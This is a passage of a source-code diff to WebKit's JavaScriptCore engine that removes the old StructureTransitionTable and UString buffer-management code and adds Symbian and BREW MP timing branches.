-            return false;
 
-        return find->second.first || find->second.second->transitionedFor(specificValue);
-    }
-
-    Structure* StructureTransitionTable::get(const StructureTransitionTableHash::Key& key, JSCell* specificValue) const
-    {
-        if (usingSingleTransitionSlot()) {
-            Structure* existingTransition = singleTransition();
-            if (existingTransition && existingTransition->m_nameInPrevious.get() == key.first
-                && existingTransition->m_attributesInPrevious == key.second
-                && (existingTransition->m_specificValueInPrevious == specificValue || existingTransition->m_specificValueInPrevious == 0))
-                return existingTransition;
-            return 0;
-        }
-
-        Transition transition = table()->get(key);
-        if (transition.second && transition.second->transitionedFor(specificValue))
-            return transition.second;
-        return transition.first;
-    }
-
-    bool StructureTransitionTable::hasTransition(const StructureTransitionTableHash::Key& key) const
-    {
-        if (usingSingleTransitionSlot()) {
-            Structure* transition = singleTransition();
-            return transition && transition->m_nameInPrevious == key.first
-            && transition->m_attributesInPrevious == key.second;
-        }
-        return table()->contains(key);
-    }
-    
-    void StructureTransitionTable::reifySingleTransition()
-    {
-        ASSERT(usingSingleTransitionSlot());
-        Structure* existingTransition = singleTransition();
-        TransitionTable* transitionTable = new TransitionTable;
-        setTransitionTable(transitionTable);
-        if (existingTransition)
-            add(make_pair(existingTransition->m_nameInPrevious.get(), existingTransition->m_attributesInPrevious), existingTransition, existingTransition->m_specificValueInPrevious);
-    }
 } // namespace JSC
 
 #endif // Structure_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/StructureTransitionTable.h b/src/3rdparty/webkit/JavaScriptCore/runtime/StructureTransitionTable.h
index 0fa7b73..d1dc2d9 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/StructureTransitionTable.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/StructureTransitionTable.h
@@ -30,7 +30,6 @@
 #include <wtf/HashFunctions.h>
 #include <wtf/HashMap.h>
 #include <wtf/HashTraits.h>
-#include <wtf/PtrAndFlags.h>
 #include <wtf/OwnPtr.h>
 #include <wtf/RefPtr.h>
 
@@ -42,7 +41,7 @@ namespace JSC {
         typedef std::pair<RefPtr<UString::Rep>, unsigned> Key;
         static unsigned hash(const Key& p)
         {
-            return p.first->computedHash();
+            return p.first->existingHash();
         }
 
         static bool equal(const Key& a, const Key& b)
@@ -67,148 +66,6 @@ namespace JSC {
         static bool isDeletedValue(const TraitType& value) { return FirstTraits::isDeletedValue(value.first); }
     };
 
-    class StructureTransitionTable {
-        typedef std::pair<Structure*, Structure*> Transition;
-        struct TransitionTable : public HashMap<StructureTransitionTableHash::Key, Transition, StructureTransitionTableHash, StructureTransitionTableHashTraits> {
-            typedef HashMap<unsigned, Structure*> AnonymousSlotMap;
-
-            void addSlotTransition(unsigned count, Structure* structure)
-            {
-                ASSERT(!getSlotTransition(count));
-                if (!m_anonymousSlotTable)
-                    m_anonymousSlotTable.set(new AnonymousSlotMap);
-                m_anonymousSlotTable->add(count, structure);
-            }
-
-            void removeSlotTransition(unsigned count)
-            {
-                ASSERT(getSlotTransition(count));
-                m_anonymousSlotTable->remove(count);
-            }
-
-            Structure* getSlotTransition(unsigned count)
-            {
-                if (!m_anonymousSlotTable)
-                    return 0;
-
-                AnonymousSlotMap::iterator find = m_anonymousSlotTable->find(count);
-                if (find == m_anonymousSlotTable->end())
-                    return 0;
-                return find->second;
-            }
-        private:
-            OwnPtr<AnonymousSlotMap> m_anonymousSlotTable;
-        };
-    public:
-        StructureTransitionTable() {
-            m_transitions.m_singleTransition.set(0);
-            m_transitions.m_singleTransition.setFlag(usingSingleSlot);
-        }
-
-        ~StructureTransitionTable() {
-            if (!usingSingleTransitionSlot())
-                delete table();
-        }
-
-        // The contains and get methods accept imprecise matches, so if an unspecialised transition exists
-        // for the given key they will consider that transition to be a match.  If a specialised transition
-        // exists and it matches the provided specificValue, get will return the specific transition.
-        inline bool contains(const StructureTransitionTableHash::Key&, JSCell* specificValue);
-        inline Structure* get(const StructureTransitionTableHash::Key&, JSCell* specificValue) const;
-        inline bool hasTransition(const StructureTransitionTableHash::Key& key) const;
-        void remove(const StructureTransitionTableHash::Key& key, JSCell* specificValue)
-        {
-            if (usingSingleTransitionSlot()) {
-                ASSERT(contains(key, specificValue));
-                setSingleTransition(0);
-                return;
-            }
-            TransitionTable::iterator find = table()->find(key);
-            if (!specificValue)
-                find->second.first = 0;
-            else
-                find->second.second = 0;
-            if (!find->second.first && !find->second.second)
-                table()->remove(find);
-        }
-        void add(const StructureTransitionTableHash::Key& key, Structure* structure, JSCell* specificValue)
-        {
-            if (usingSingleTransitionSlot()) {
-                if (!singleTransition()) {
-                    setSingleTransition(structure);
-                    return;
-                }
-                reifySingleTransition();
-            }
-            if (!specificValue) {
-                TransitionTable::iterator find = table()->find(key);
-                if (find == table()->end())
-                    table()->add(key, Transition(structure, 0));
-                else
-                    find->second.first = structure;
-            } else {
-                // If we're adding a transition to a specific value, then there cannot be
-                // an existing transition
-                ASSERT(!table()->contains(key));
-                table()->add(key, Transition(0, structure));
-            }
-        }
-
-        Structure* getAnonymousSlotTransition(unsigned count)
-        {
-            if (usingSingleTransitionSlot())
-                return 0;
-            return table()->getSlotTransition(count);
-        }
-
-        void addAnonymousSlotTransition(unsigned count, Structure* structure)
-        {
-            if (usingSingleTransitionSlot())
-                reifySingleTransition();
-            ASSERT(!table()->getSlotTransition(count));
-            table()->addSlotTransition(count, structure);
-        }
-        
-        void removeAnonymousSlotTransition(unsigned count)
-        {
-            ASSERT(!usingSingleTransitionSlot());
-            table()->removeSlotTransition(count);
-        }
-    private:
-        TransitionTable* table() const { ASSERT(!usingSingleTransitionSlot()); return m_transitions.m_table; }
-        Structure* singleTransition() const {
-            ASSERT(usingSingleTransitionSlot());
-            return m_transitions.m_singleTransition.get();
-        }
-        bool usingSingleTransitionSlot() const { return m_transitions.m_singleTransition.isFlagSet(usingSingleSlot); }
-        void setSingleTransition(Structure* structure)
-        { 
-            ASSERT(usingSingleTransitionSlot());
-            m_transitions.m_singleTransition.set(structure);
-        }
-
-        void setTransitionTable(TransitionTable* table)
-        {
-            ASSERT(usingSingleTransitionSlot());
-#ifndef NDEBUG
-            setSingleTransition(0);
-#endif
-            m_transitions.m_table = table;
-            // This implicitly clears the flag that indicates we're using a single transition
-            ASSERT(!usingSingleTransitionSlot());
-        }
-        inline void reifySingleTransition();
-
-        enum UsingSingleSlot {
-            usingSingleSlot
-        };
-        // Last bit indicates whether we are using the single transition optimisation
-        union {
-            TransitionTable* m_table;
-            PtrAndFlagsBase<Structure, UsingSingleSlot> m_singleTransition;
-        } m_transitions;
-    };
-
 } // namespace JSC
 
 #endif // StructureTransitionTable_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/TimeoutChecker.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/TimeoutChecker.cpp
index 2a056c9..2dc1028 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/TimeoutChecker.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/TimeoutChecker.cpp
@@ -33,14 +33,18 @@
 #include "CallFrame.h"
 #include "JSGlobalObject.h"
 
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
 #include <mach/mach.h>
-#elif PLATFORM(WIN_OS)
+#elif OS(WINDOWS)
 #include <windows.h>
 #else
 #include "CurrentTime.h"
 #endif
 
+#if PLATFORM(BREWMP)
+#include <AEEStdLib.h>
+#endif
+
 using namespace std;
 
 namespace JSC {
@@ -54,7 +58,7 @@ static const int intervalBetweenChecks = 1000;
 // Returns the time the current thread has spent executing, in milliseconds.
 static inline unsigned getCPUTime()
 {
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
     mach_msg_type_number_t infoCount = THREAD_BASIC_INFO_COUNT;
     thread_basic_info_data_t info;
 
@@ -67,7 +71,7 @@ static inline unsigned getCPUTime()
     time += info.system_time.seconds * 1000 + info.system_time.microseconds / 1000;
     
     return time;
-#elif PLATFORM(WIN_OS)
+#elif OS(WINDOWS)
     union {
         FILETIME fileTime;
         unsigned long long fileTimeAsLong;
@@ -80,6 +84,18 @@ static inline unsigned getCPUTime()
     GetThreadTimes(GetCurrentThread(), &creationTime, &exitTime, &kernelTime.fileTime, &userTime.fileTime);
     
     return userTime.fileTimeAsLong / 10000 + kernelTime.fileTimeAsLong / 10000;
+#elif OS(SYMBIAN)
+    RThread current;
+    TTimeIntervalMicroSeconds cpuTime;
+
+    TInt err = current.GetCpuTime(cpuTime);
+    ASSERT_WITH_MESSAGE(err == KErrNone, "GetCpuTime failed with %d", err);
+    return cpuTime.Int64() / 1000;
+#elif PLATFORM(BREWMP)
+    // This function returns a continuously and linearly increasing millisecond
+    // timer from the time the device was powered on.
+    // There is only one thread in BREW, so this is enough.
+    return GETUPTIMEMS();
 #else
     // FIXME: We should return the time the current thread has spent executing.
     return currentTime() * 1000;
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/TimeoutChecker.h b/src/3rdparty/webkit/JavaScriptCore/runtime/TimeoutChecker.h
index 5925641..7bfa6d0 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/TimeoutChecker.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/TimeoutChecker.h
@@ -40,7 +40,6 @@ namespace JSC {
         TimeoutChecker();
 
         void setTimeoutInterval(unsigned timeoutInterval) { m_timeoutInterval = timeoutInterval; }
-        unsigned timeoutInterval() const { return m_timeoutInterval; }
         
         unsigned ticksUntilNextCheck() { return m_ticksUntilNextCheck; }
         
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Tracing.h b/src/3rdparty/webkit/JavaScriptCore/runtime/Tracing.h
index e544f66..c28c85f 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Tracing.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Tracing.h
@@ -33,7 +33,7 @@
 #define JAVASCRIPTCORE_GC_BEGIN()
 #define JAVASCRIPTCORE_GC_BEGIN_ENABLED() 0
 
-#define JAVASCRIPTCORE_GC_END(arg0, arg1)
+#define JAVASCRIPTCORE_GC_END()
 #define JAVASCRIPTCORE_GC_END_ENABLED() 0
 
 #define JAVASCRIPTCORE_GC_MARKED()
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/UString.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/UString.cpp
index e66ca93..9da669d 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/UString.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/UString.cpp
@@ -30,12 +30,12 @@
 #include "Identifier.h"
 #include "Operations.h"
 #include <ctype.h>
-#include <float.h>
 #include <limits.h>
 #include <limits>
 #include <math.h>
 #include <stdio.h>
 #include <stdlib.h>
+#include <string.h>
 #include <wtf/ASCIICType.h>
 #include <wtf/Assertions.h>
 #include <wtf/MathExtras.h>
@@ -44,9 +44,6 @@
 #include <wtf/unicode/UTF8.h>
 #include <wtf/StringExtras.h>
 
-#if HAVE(STRING_H)
-#include <string.h>
-#endif
 #if HAVE(STRINGS_H)
 #include <strings.h>
 #endif
@@ -55,52 +52,11 @@ using namespace WTF;
 using namespace WTF::Unicode;
 using namespace std;
 
-// This can be tuned differently per platform by putting platform #ifs right here.
-// If you don't define this macro at all, then copyChars will just call directly
-// to memcpy.
-#define USTRING_COPY_CHARS_INLINE_CUTOFF 20
-
 namespace JSC {
- 
+
 extern const double NaN;
 extern const double Inf;
 
-// This number must be at least 2 to avoid sharing empty, null as well as 1 character strings from SmallStrings.
-static const int minLengthToShare = 10;
-
-static inline size_t overflowIndicator() { return std::numeric_limits<size_t>::max(); }
-static inline size_t maxUChars() { return std::numeric_limits<size_t>::max() / sizeof(UChar); }
-
-static inline PossiblyNull<UChar*> allocChars(size_t length)
-{
-    ASSERT(length);
-    if (length > maxUChars())
-        return 0;
-    return tryFastMalloc(sizeof(UChar) * length);
-}
-
-static inline PossiblyNull<UChar*> reallocChars(UChar* buffer, size_t length)
-{
-    ASSERT(length);
-    if (length > maxUChars())
-        return 0;
-    return tryFastRealloc(buffer, sizeof(UChar) * length);
-}
-
-static inline void copyChars(UChar* destination, const UChar* source, unsigned numCharacters)
-{
-#ifdef USTRING_COPY_CHARS_INLINE_CUTOFF
-    if (numCharacters <= USTRING_COPY_CHARS_INLINE_CUTOFF) {
-        for (unsigned i = 0; i < numCharacters; ++i)
-            destination[i] = source[i];
-        return;
-    }
-#endif
-    memcpy(destination, source, numCharacters * sizeof(UChar));
-}
-
-COMPILE_ASSERT(sizeof(UChar) == 2, uchar_is_2_bytes);
-
 CString::CString(const char* c)
     : m_length(strlen(c))
     , m_data(new char[m_length + 1])
@@ -190,728 +146,33 @@ bool operator==(const CString& c1, const CString& c2)
     return len == c2.size() && (len == 0 || memcmp(c1.c_str(), c2.c_str(), len) == 0);
 }
 
-// These static strings are immutable, except for rc, whose initial value is chosen to 
-// reduce the possibility of it becoming zero due to ref/deref not being thread-safe.
-static UChar sharedEmptyChar;
-UString::BaseString* UString::Rep::nullBaseString;
-UString::BaseString* UString::Rep::emptyBaseString;
-UString* UString::nullUString;
-
-static void initializeStaticBaseString(UString::BaseString& base)
-{
-    base.rc = INT_MAX / 2;
-    base.m_identifierTableAndFlags.setFlag(UString::Rep::StaticFlag);
-    base.checkConsistency();
-}
+// The null string is immutable, except for refCount.
+UString::Rep* UString::s_nullRep;
+UString* UString::s_nullUString;
 
 void initializeUString()
 {
-    UString::Rep::nullBaseString = new UString::BaseString(0, 0);
-    initializeStaticBaseString(*UString::Rep::nullBaseString);
-
-    UString::Rep::emptyBaseString = new UString::BaseString(&sharedEmptyChar, 0);
-    initializeStaticBaseString(*UString::Rep::emptyBaseString);
-
-    UString::nullUString = new UString;
-}
-
-static char* statBuffer = 0; // Only used for debugging via UString::ascii().
-
-PassRefPtr<UString::Rep> UString::Rep::createCopying(const UChar* d, int l)
-{
-    UChar* copyD = static_cast<UChar*>(fastMalloc(l * sizeof(UChar)));
-    copyChars(copyD, d, l);
-    return create(copyD, l);
-}
-
-PassRefPtr<UString::Rep> UString::Rep::createFromUTF8(const char* string)
-{
-    if (!string)
-        return &UString::Rep::null();
-
-    size_t length = strlen(string);
-    Vector<UChar, 1024> buffer(length);
-    UChar* p = buffer.data();
-    if (conversionOK != convertUTF8ToUTF16(&string, string + length, &p, p + length))
-        return &UString::Rep::null();
-
-    return UString::Rep::createCopying(buffer.data(), p - buffer.data());
-}
-
-PassRefPtr<UString::Rep> UString::Rep::create(UChar* string, int length, PassRefPtr<UString::SharedUChar> sharedBuffer)
-{
-    PassRefPtr<UString::Rep> rep = create(string, length);
-    rep->baseString()->setSharedBuffer(sharedBuffer);
-    rep->checkConsistency();
-    return rep;
-}
-
-UString::SharedUChar* UString::Rep::sharedBuffer()
-{
-    UString::BaseString* base = baseString();
-    if (len < minLengthToShare)
-        return 0;
-
-    return base->sharedBuffer();
-}
-
-void UString::Rep::destroy()
-{
-    checkConsistency();
-
-    // Static null and empty strings can never be destroyed, but we cannot rely on 
-    // reference counting, because ref/deref are not thread-safe.
-    if (!isStatic()) {
-        if (identifierTable())
-            Identifier::remove(this);
-
-        UString::BaseString* base = baseString();
-        if (base == this) {
-            if (m_sharedBuffer)
-                m_sharedBuffer->deref();
-            else
-                fastFree(base->buf);
-        } else
-            base->deref();
-
-        delete this;
-    }
-}
-
-// Golden ratio - arbitrary start value to avoid mapping all 0's to all 0's
-// or anything like that.
-const unsigned PHI = 0x9e3779b9U;
-
-// Paul Hsieh's SuperFastHash
-// http://www.azillionmonkeys.com/qed/hash.html
-unsigned UString::Rep::computeHash(const UChar* s, int len)
-{
-    unsigned l = len;
-    uint32_t hash = PHI;
-    uint32_t tmp;
-
-    int rem = l & 1;
-    l >>= 1;
-
-    // Main loop
-    for (; l > 0; l--) {
-        hash += s[0];
-        tmp = (s[1] << 11) ^ hash;
-        hash = (hash << 16) ^ tmp;
-        s += 2;
-        hash += hash >> 11;
-    }
-
-    // Handle end case
-    if (rem) {
-        hash += s[0];
-        hash ^= hash << 11;
-        hash += hash >> 17;
-    }
-
-    // Force "avalanching" of final 127 bits
-    hash ^= hash << 3;
-    hash += hash >> 5;
-    hash ^= hash << 2;
-    hash += hash >> 15;
-    hash ^= hash << 10;
-
-    // this avoids ever returning a hash code of 0, since that is used to
-    // signal "hash not computed yet", using a value that is likely to be
-    // effectively the same as 0 when the low bits are masked
-    if (hash == 0)
-        hash = 0x80000000;
-
-    return hash;
-}
-
-// Paul Hsieh's SuperFastHash
-// http://www.azillionmonkeys.com/qed/hash.html
-unsigned UString::Rep::computeHash(const char* s, int l)
-{
-    // This hash is designed to work on 16-bit chunks at a time. But since the normal case
-    // (above) is to hash UTF-16 characters, we just treat the 8-bit chars as if they
-    // were 16-bit chunks, which should give matching results
-
-    uint32_t hash = PHI;
-    uint32_t tmp;
-
-    size_t rem = l & 1;
-    l >>= 1;
-
-    // Main loop
-    for (; l > 0; l--) {
-        hash += static_cast<unsigned char>(s[0]);
-        tmp = (static_cast<unsigned char>(s[1]) << 11) ^ hash;
-        hash = (hash << 16) ^ tmp;
-        s += 2;
-        hash += hash >> 11;
-    }
-
-    // Handle end case
-    if (rem) {
-        hash += static_cast<unsigned char>(s[0]);
-        hash ^= hash << 11;
-        hash += hash >> 17;
-    }
-
-    // Force "avalanching" of final 127 bits
-    hash ^= hash << 3;
-    hash += hash >> 5;
-    hash ^= hash << 2;
-    hash += hash >> 15;
-    hash ^= hash << 10;
-
-    // this avoids ever returning a hash code of 0, since that is used to
-    // signal "hash not computed yet", using a value that is likely to be
-    // effectively the same as 0 when the low bits are masked
-    if (hash == 0)
-        hash = 0x80000000;
-
-    return hash;
-}
-
-#ifndef NDEBUG
-void UString::Rep::checkConsistency() const
-{
-    const UString::BaseString* base = baseString();
-
-    // There is no recursion for base strings.
-    ASSERT(base == base->baseString());
-
-    if (isStatic()) {
-        // There are only two static strings: null and empty.
-        ASSERT(!len);
-
-        // Static strings cannot get in identifier tables, because they are globally shared.
-        ASSERT(!identifierTable());
-    }
-
-    // The string fits in buffer.
-    ASSERT(base->usedPreCapacity <= base->preCapacity);
-    ASSERT(base->usedCapacity <= base->capacity);
-    ASSERT(-offset <= base->usedPreCapacity);
-    ASSERT(offset + len <= base->usedCapacity);
-}
-#endif
-
-UString::SharedUChar* UString::BaseString::sharedBuffer()
-{
-    if (!m_sharedBuffer)
-        setSharedBuffer(SharedUChar::create(new OwnFastMallocPtr<UChar>(buf)));
-    return m_sharedBuffer;
-}
-
-void UString::BaseString::setSharedBuffer(PassRefPtr<UString::SharedUChar> sharedBuffer)
-{
-    // The manual steps below are because m_sharedBuffer can't be a RefPtr. m_sharedBuffer
-    // is in a union with another variable to avoid making BaseString any larger.
-    if (m_sharedBuffer)
-        m_sharedBuffer->deref();
-    m_sharedBuffer = sharedBuffer.releaseRef();
-}
-
-bool UString::BaseString::slowIsBufferReadOnly()
-{
-    // The buffer may not be modified as soon as the underlying data has been shared with another class.
-    if (m_sharedBuffer->isShared())
-        return true;
-
-    // At this point, we know it that the underlying buffer isn't shared outside of this base class,
-    // so get rid of m_sharedBuffer.
-    OwnPtr<OwnFastMallocPtr<UChar> > mallocPtr(m_sharedBuffer->release());
-    UChar* unsharedBuf = const_cast<UChar*>(mallocPtr->release());
-    setSharedBuffer(0);
-    preCapacity += (buf - unsharedBuf);
-    buf = unsharedBuf;
-    return false;
-}
-
-// Put these early so they can be inlined.
-static inline size_t expandedSize(size_t capacitySize, size_t precapacitySize)
-{
-    // Combine capacitySize & precapacitySize to produce a single size to allocate,
-    // check that doing so does not result in overflow.
-    size_t size = capacitySize + precapacitySize;
-    if (size < capacitySize)
-        return overflowIndicator();
-
-    // Small Strings (up to 4 pages):
-    // Expand the allocation size to 112.5% of the amount requested.  This is largely sicking
-    // to our previous policy, however 112.5% is cheaper to calculate.
-    if (size < 0x4000) {
-        size_t expandedSize = ((size + (size >> 3)) | 15) + 1;
-        // Given the limited range within which we calculate the expansion in this
-        // fashion the above calculation should never overflow.
-        ASSERT(expandedSize >= size);
-        ASSERT(expandedSize < maxUChars());
-        return expandedSize;
-    }
-
-    // Medium Strings (up to 128 pages):
-    // For pages covering multiple pages over-allocation is less of a concern - any unused
-    // space will not be paged in if it is not used, so this is purely a VM overhead.  For
-    // these strings allocate 2x the requested size.
-    if (size < 0x80000) {
-        size_t expandedSize = ((size + size) | 0xfff) + 1;
-        // Given the limited range within which we calculate the expansion in this
-        // fashion the above calculation should never overflow.
-        ASSERT(expandedSize >= size);
-        ASSERT(expandedSize < maxUChars());
-        return expandedSize;
-    }
-
-    // Large Strings (to infinity and beyond!):
-    // Revert to our 112.5% policy - probably best to limit the amount of unused VM we allow
-    // any individual string be responsible for.
-    size_t expandedSize = ((size + (size >> 3)) | 0xfff) + 1;
-
-    // Check for overflow - any result that is at least as large as requested (but
-    // still below the limit) is okay.
-    if ((expandedSize >= size) && (expandedSize < maxUChars()))
-        return expandedSize;
-    return overflowIndicator();
-}
-
-static inline bool expandCapacity(UString::Rep* rep, int requiredLength)
-{
-    rep->checkConsistency();
-    ASSERT(!rep->baseString()->isBufferReadOnly());
-
-    UString::BaseString* base = rep->baseString();
-
-    if (requiredLength > base->capacity) {
-        size_t newCapacity = expandedSize(requiredLength, base->preCapacity);
-        UChar* oldBuf = base->buf;
-        if (!reallocChars(base->buf, newCapacity).getValue(base->buf)) {
-            base->buf = oldBuf;
-            return false;
-        }
-        base->capacity = newCapacity - base->preCapacity;
-    }
-    if (requiredLength > base->usedCapacity)
-        base->usedCapacity = requiredLength;
-
-    rep->checkConsistency();
-    return true;
-}
-
-bool UString::Rep::reserveCapacity(int capacity)
-{
-    // If this is an empty string there is no point 'growing' it - just allocate a new one.
-    // If the BaseString is shared with another string that is using more capacity than this
-    // string is, then growing the buffer won't help.
-    // If the BaseString's buffer is readonly, then it isn't allowed to grow.
-    UString::BaseString* base = baseString();
-    if (!base->buf || !base->capacity || (offset + len) != base->usedCapacity || base->isBufferReadOnly())
-        return false;
-    
-    // If there is already sufficient capacity, no need to grow!
-    if (capacity <= base->capacity)
-        return true;
-
-    checkConsistency();
-
-    size_t newCapacity = expandedSize(capacity, base->preCapacity);
-    UChar* oldBuf = base->buf;
-    if (!reallocChars(base->buf, newCapacity).getValue(base->buf)) {
-        base->buf = oldBuf;
-        return false;
-    }
-    base->capacity = newCapacity - base->preCapacity;
-
-    checkConsistency();
-    return true;
-}
-
-void UString::expandCapacity(int requiredLength)
-{
-    if (!JSC::expandCapacity(m_rep.get(), requiredLength))
-        makeNull();
-}
-
-void UString::expandPreCapacity(int requiredPreCap)
-{
-    m_rep->checkConsistency();
-    ASSERT(!m_rep->baseString()->isBufferReadOnly());
-
-    BaseString* base = m_rep->baseString();
-
-    if (requiredPreCap > base->preCapacity) {
-        size_t newCapacity = expandedSize(requiredPreCap, base->capacity);
-        int delta = newCapacity - base->capacity - base->preCapacity;
-
-        UChar* newBuf;
-        if (!allocChars(newCapacity).getValue(newBuf)) {
-            makeNull();
-            return;
-        }
-        copyChars(newBuf + delta, base->buf, base->capacity + base->preCapacity);
-        fastFree(base->buf);
-        base->buf = newBuf;
-
-        base->preCapacity = newCapacity - base->capacity;
-    }
-    if (requiredPreCap > base->usedPreCapacity)
-        base->usedPreCapacity = requiredPreCap;
-
-    m_rep->checkConsistency();
-}
-
-static PassRefPtr<UString::Rep> createRep(const char* c)
-{
-    if (!c)
-        return &UString::Rep::null();
-
-    if (!c[0])
-        return &UString::Rep::empty();
-
-    size_t length = strlen(c);
-    UChar* d;
-    if (!allocChars(length).getValue(d))
-        return &UString::Rep::null();
-    else {
-        for (size_t i = 0; i < length; i++)
-            d[i] = static_cast<unsigned char>(c[i]); // use unsigned char to zero-extend instead of sign-extend
-        return UString::Rep::create(d, static_cast<int>(length));
-    }
+    // UStringImpl::empty() does not construct its static string in a threadsafe fashion,
+    // so ensure it has been initialized from here.
+    UStringImpl::empty();
 
+    UString::s_nullRep = new UStringImpl(0, 0, UStringImpl::ConstructStaticString);
+    UString::s_nullUString = new UString;
 }
 
 UString::UString(const char* c)
-    : m_rep(createRep(c))
-{
-}
-
-UString::UString(const UChar* c, int length)
+    : m_rep(Rep::create(c))
 {
-    if (length == 0) 
-        m_rep = &Rep::empty();
-    else
-        m_rep = Rep::createCopying(c, length);
 }
 
-UString::UString(UChar* c, int length, bool copy)
+UString::UString(const char* c, unsigned length)
+    : m_rep(Rep::create(c, length))
 {
-    if (length == 0)
-        m_rep = &Rep::empty();
-    else if (copy)
-        m_rep = Rep::createCopying(c, length);
-    else
-        m_rep = Rep::create(c, length);
 }
 
-UString::UString(const Vector<UChar>& buffer)
+UString::UString(const UChar* c, unsigned length)
+    : m_rep(Rep::create(c, length))
 {
-    if (!buffer.size())
-        m_rep = &Rep::empty();
-    else
-        m_rep = Rep::createCopying(buffer.data(), buffer.size());
-}
-
-static ALWAYS_INLINE int newCapacityWithOverflowCheck(const int currentCapacity, const int extendLength, const bool plusOne = false)
-{
-    ASSERT_WITH_MESSAGE(extendLength >= 0, "extendedLength = %d", extendLength);
-
-    const int plusLength = plusOne ? 1 : 0;
-    if (currentCapacity > std::numeric_limits<int>::max() - extendLength - plusLength)
-        CRASH();
-
-    return currentCapacity + extendLength + plusLength;
-}
-
-static ALWAYS_INLINE PassRefPtr<UString::Rep> concatenate(PassRefPtr<UString::Rep> r, const UChar* tData, int tSize)
-{
-    RefPtr<UString::Rep> rep = r;
-
-    rep->checkConsistency();
-
-    int thisSize = rep->size();
-    int thisOffset = rep->offset;
-    int length = thisSize + tSize;
-    UString::BaseString* base = rep->baseString();
-
-    // possible cases:
-    if (tSize == 0) {
-        // t is empty
-    } else if (thisSize == 0) {
-        // this is empty
-        rep = UString::Rep::createCopying(tData, tSize);
-    } else if (rep == base && !base->isShared()) {
-        // this is direct and has refcount of 1 (so we can just alter it directly)
-        if (!expandCapacity(rep.get(), newCapacityWithOverflowCheck(thisOffset, length)))
-            rep = &UString::Rep::null();
-        if (rep->data()) {
-            copyChars(rep->data() + thisSize, tData, tSize);
-            rep->len = length;
-            rep->_hash = 0;
-        }
-    } else if (thisOffset + thisSize == base->usedCapacity && thisSize >= minShareSize && !base->isBufferReadOnly()) {
-        // this reaches the end of the buffer - extend it if it's long enough to append to
-        if (!expandCapacity(rep.get(), newCapacityWithOverflowCheck(thisOffset, length)))
-            rep = &UString::Rep::null();
-        if (rep->data()) {
-            copyChars(rep->data() + thisSize, tData, tSize);
-            rep = UString::Rep::create(rep, 0, length);
-        }
-    } else {
-        // This is shared in some way that prevents us from modifying base, so we must make a whole new string.
-        size_t newCapacity = expandedSize(length, 0);
-        UChar* d;
-        if (!allocChars(newCapacity).getValue(d))
-            rep = &UString::Rep::null();
-        else {
-            copyChars(d, rep->data(), thisSize);
-            copyChars(d + thisSize, tData, tSize);
-            rep = UString::Rep::create(d, length);
-            rep->baseString()->capacity = newCapacity;
-        }
-    }
-
-    rep->checkConsistency();
-
-    return rep.release();
-}
-
-static ALWAYS_INLINE PassRefPtr<UString::Rep> concatenate(PassRefPtr<UString::Rep> r, const char* t)
-{
-    RefPtr<UString::Rep> rep = r;
-
-    rep->checkConsistency();
-
-    int thisSize = rep->size();
-    int thisOffset = rep->offset;
-    int tSize = static_cast<int>(strlen(t));
-    int length = thisSize + tSize;
-    UString::BaseString* base = rep->baseString();
-
-    // possible cases:
-    if (thisSize == 0) {
-        // this is empty
-        rep = createRep(t);
-    } else if (tSize == 0) {
-        // t is empty, we'll just return *this below.
-    } else if (rep == base && !base->isShared()) {
-        // this is direct and has refcount of 1 (so we can just alter it directly)
-        expandCapacity(rep.get(), newCapacityWithOverflowCheck(thisOffset, length));
-        UChar* d = rep->data();
-        if (d) {
-            for (int i = 0; i < tSize; ++i)
-                d[thisSize + i] = static_cast<unsigned char>(t[i]); // use unsigned char to zero-extend instead of sign-extend
-            rep->len = length;
-            rep->_hash = 0;
-        }
-    } else if (thisOffset + thisSize == base->usedCapacity && thisSize >= minShareSize && !base->isBufferReadOnly()) {
-        // this string reaches the end of the buffer - extend it
-        expandCapacity(rep.get(), newCapacityWithOverflowCheck(thisOffset, length));
-        UChar* d = rep->data();
-        if (d) {
-            for (int i = 0; i < tSize; ++i)
-                d[thisSize + i] = static_cast<unsigned char>(t[i]); // use unsigned char to zero-extend instead of sign-extend
-            rep = UString::Rep::create(rep, 0, length);
-        }
-    } else {
-        // This is shared in some way that prevents us from modifying base, so we must make a whole new string.
-        size_t newCapacity = expandedSize(length, 0);
-        UChar* d;
-        if (!allocChars(newCapacity).getValue(d))
-            rep = &UString::Rep::null();
-        else {
-            copyChars(d, rep->data(), thisSize);
-            for (int i = 0; i < tSize; ++i)
-                d[thisSize + i] = static_cast<unsigned char>(t[i]); // use unsigned char to zero-extend instead of sign-extend
-            rep = UString::Rep::create(d, length);
-            rep->baseString()->capacity = newCapacity;
-        }
-    }
-
-    rep->checkConsistency();
-
-    return rep.release();
-}
-
-PassRefPtr<UString::Rep> concatenate(UString::Rep* a, UString::Rep* b)
-{
-    a->checkConsistency();
-    b->checkConsistency();
-
-    int aSize = a->size();
-    int bSize = b->size();
-    int aOffset = a->offset;
-
-    // possible cases:
-
-    UString::BaseString* aBase = a->baseString();
-    if (bSize == 1 && aOffset + aSize == aBase->usedCapacity && aOffset + aSize < aBase->capacity && !aBase->isBufferReadOnly()) {
-        // b is a single character (common fast case)
-        ++aBase->usedCapacity;
-        a->data()[aSize] = b->data()[0];
-        return UString::Rep::create(a, 0, aSize + 1);
-    }
-
-    // a is empty
-    if (aSize == 0)
-        return b;
-    // b is empty
-    if (bSize == 0)
-        return a;
-
-    int bOffset = b->offset;
-    int length = aSize + bSize;
-
-    UString::BaseString* bBase = b->baseString();
